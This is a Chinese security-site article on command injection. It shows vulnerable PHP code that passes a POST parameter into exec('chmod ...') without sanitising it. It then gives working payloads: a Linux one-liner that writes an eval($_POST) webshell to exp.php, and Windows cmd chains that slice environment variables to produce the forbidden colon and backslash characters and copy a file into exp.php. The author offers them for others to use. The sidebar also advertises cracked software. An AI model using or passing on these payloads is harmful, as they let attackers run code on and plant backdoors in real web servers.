ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → 利用环境变量绕过限制字符构造注入命令

利用环境变量绕过限制字符构造注入命令

时间:2018-05-26 13:53:06人气:作者:本站作者我要评论

漏洞文件

  1. <?
  2. function FDir($homedir$dper)
  3. {
  4.     $dir_yn = mkdir($homedir$dper);
  5.     if($dir_yn)
  6.     {
  7.         exec("chmod ".$dper." ".$homedir);
  8.     return true;
  9.    }
  10.    else
  11.    {
  12.         return false;
  13.    }
  14. }
  15. $config_id = $_POST[config_id];
  16. $config_id = "some_str_here_".$tconfig_id;
  17. ......
  18. $object->insert($config_id$table_name);
  19. ......
  20. FDir("../data/".$config_id."_data", 777);
  21. ?>

很明显的,$homedir存在命令注入漏洞,只是在命令执行前,需要mkdir成功。

Linux系统就很简单了:

  1. ;var1=;${var1:=<?php @eval($};var2=;${var2:=_POST['ech0!']);?>};echo $var1$var2>..$(expr substr $(pwd) 1 1)data$(expr substr $(pwd) 1 1)exp.php;

而windows系统,想要mkdir成功的话,文件名不能包含任何下列字符之一:

  1. \/:*?"<>|

在不允许有以上字符的情况下,怎么构造注入命令呢,下面是我构造的,希望有人能用的上。

命令嘛,肯定要用到一些特殊字符,比如斜杠啊什么的,但是斜杠被限制了,那么我们的思路是从环境变量里截取出来,但是截取命令又需要用到冒号,这里冒号也被限制了。

那么我们要做到不直接用冒号来截取冒号

  1. set C=%systemdrive%&call set var=%%C%~1,1%
  2. call echo %var%
  3. :

我们再把斜杠凑出来:

  1. set C=%systemdrive%&set  v1=w&set w=%windir%&call set v2=%%C%~1,1%&call call set v3=%v1%%v2%~2,1%&call call set v4=%%v3%

v4就是斜杠了

我们用他们来构造一个copy命令:

  1. set C=%systemdrive%&set F=w&set w=%tmp%&call set U=%%C%~1,1%&call call set K=%F%%U%~2,1%&call call set H=%%K%&set t=temp&call copy %C%%H%%t%%H%target.tmp exp.php

这个就是将C:\temp\target.txt 给复制到当前工作目录,格式转php

利用环境变量绕过限制字符构造注入命令

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网